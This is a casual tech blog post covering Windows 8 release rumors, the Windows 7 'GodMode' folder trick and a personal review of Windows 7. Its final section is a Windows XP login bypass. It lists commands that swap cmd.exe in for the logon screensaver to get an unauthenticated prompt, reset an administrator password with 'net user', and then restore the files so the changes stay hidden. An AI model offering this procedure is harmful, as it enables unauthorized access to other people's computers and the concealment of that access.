Ever since the Windows 8 release date has been uncovered, so has the cloud of rumors. Most users and computer experts expect a late 2011 / early 2012 release of the operating system, and hopefully again, that will be a beta or so, cause we don’t want a half-assed OS (just look at Vista ). I also found some information online  about a recently leaked Windows 8 product cycle chart that provides the answers needed to determine the release date of the next Windows OS by Microsoft.

Please notice that I do not host this image, but you can take a look at the direct image here, but I suggest you do, so you’ll know what the hell I’m talking about. Looking at the chart, you can tell that it lists the planning, development and readiness product cycle of Windows 8 and related Microsoft products such as Internet Explorer 9, Windows Live Wave 4, Windows Live Wave 5 and Windows 7. It also lists all the major events.

There have also been a lot of talks and some events and products have already been held / released and it is possible to pinpoint the release date of Windows 8 by making the remaining calculations. From the image link above, it shows Forum I and Forum II have been major events, the former held in December 2009, most likely at the Professional Developers Conference, the latter in April 2010. The listing lists four additional events, Forum III to Forum VI and the next two events fall into the development phase of Windows 8, the remaining two into the readiness phase.

Windows 7 GodMode

For the Windows 7 users out there, if you don’t know by now, there are many hidden features in Windows 7, was it Microsoft’s way to make it easier on us? Although the name already gives you a few ideas of what its purpose is. Windows 7 God Mode allows users to access all of the operating system’s control panels and capabilities from within a single folder.

By first, how do you even access this tool? Its simple and its more like creating than accessing. By creating a new folder in Windows 7 and renaming it with a specific text string as its name, users are then able to control everything from a single folder that could change from changing the look of the mouse pointer to making a new hard-drive partition.

Other Windows enthusiasts also said that this trick works in Windows Vista as well, but be careful, although same say it works in the 32-bit version of Windows Vista, it can cause 64-bit versions to crash.

So now to create it and try it out! To enter “GodMode,” one need only create a new folder and then rename the folder to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

Upon entering the string as the folder’s name, the folder’s icon will change to resemble a control panel and will contain dozens of control options and features. Just be careful with God Mod, only administrators and users who know what they’re doing should use that to its fullest capability.

Despite the fact that everyone has been somewhat scared to use Windows 7 because of the last OS before that, Windows Vista, in which I do agree that it did come out a P-o-S operating system, I was really hesitant to use the new Windows 7 back when it came out. Testing out Vista, it went terribly wrong for me, Many of the computer’s I’ve fixed locally, some of the clients wanted to downgrade to Windows XP. Now of course I recommend otherwise ever since I upgraded to Windows 7. At first I though the system would be just the same as Vista, but Windows 7 has proved me wrong.

With much of work developing and coding, Windows XP run pretty smooth but never really used my hardware to its fullest, even though everything was compatible and ran great without any issues, when I went to test it out with Vista, it was a nightmare! With Windows 7 I see that my hardware is being used to its fullest capacity so that I can have the best experience on my desktop. Some of the things that I wanted to point out on Windows 7 is:

1) Speed & Realibility

The speed on my computer is really smooth, even my games run better because Windows 7 could use my SLI video cards more efficiently  than XP or Vista, plus the Aero Interface doesn’t even get in the way with the FPS of my games. The 32-bit version of Windows 7 I’m using can still read my 4GB of RAM compared to the 2.5GB RAM that Windows XP only read. My work has also been smoother and easier to work with some neat Windows 7 features such as Pin Lists, Sticky notes, and a lot more. And with this speed, I’m glad that there hasn’t been a crash on Windows 7 which makes it so much easier to work with, unlike Vista.

2) Organization

My desktop would still be cluttered with folders and files I work on, but with some new features such as Libraries which allow you to store your files in a more organizable way and also Pin Lists which allow you to open recent documents as well as “Pin” files to a specific program, so to access it will be faster and way more easier. Plus the sticky notes that Windows 7 has is very useful for remembering minor things to even major issues (such as someones birthday) right on your desktop, and the neat thing is, when you turn off your computer it is still there, it doesn’t delete unless you delete them yourself.

3) Aero Interface

Now I wasn’t too much of a fan for graphics, I mean, just take a look at Windows XP, anyways, with the better thumbnail previews that  has been fixed from Vista (finally!), and the ability to see transparently through windows when you have a bunch of windows open is very useful for finding specific files of windows you have open faster. Running SLI video cards, this is flawlessly brought to anyone’s desktop.

Despite all the good things, there are some flaws that is still happening on Windows 7, for example, my wireless PCI card from Netgear sometimes doesn’t want to run, even with the drivers installed (of course), but it runs sometimes and sometimes it doesn’t want to run, but I think the biggest issue is compatibility with Windows 7, It will take sometime for older software we depended to run on Windows XP to run on Windows 7, even using the Compatibility mode for each program, but also Microsoft introduced Windows XP Mode for Windows 7 which allows you to run Windows XP virtually on your desktop, but I will hold off on that now.

Well overall, Windows 7 first impression on me was really great, but I want to hear from  some regular users home users! Are you running Windows 7? What do you think of windows 7 and its features?

Windows XP

All of us in one time have been locked out of our computer and forced to login a Guest or Limited Account (well that is if you have it enabled). While operating systems are changing from Windows Vista to the upcoming Windows 7, some people are still using Windows XP and sometimes, you may forget your password. There are still some old tricks you can use to bypass Windows XP protection and enable a Admin Account.

1.) Goto Start > Run > Type in CMD (Command Prompt Shortcut)

2.) Once Command Prompt opens (it should be a window with  black background and white letters, it depends on your settings)

3.) Type the following:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes the original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is you made the  computer backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP

Once you restart and you see the same window you saw when you entered the commands above,  type the following in the Command Prompt:

“net user <admin account name here> password”

If the Administrator Account is called “Bob” and you want the password to be “abc” enter this

“net user Bob abc”

So once you ran the command with the account name and password you desire, go ahead and logout and log back in with the account or restart and then login with the account you created. After you’re done and enter in your admin account, don’t forget to copy the contents of temphack back into the system32 directory (makes your changes hidden).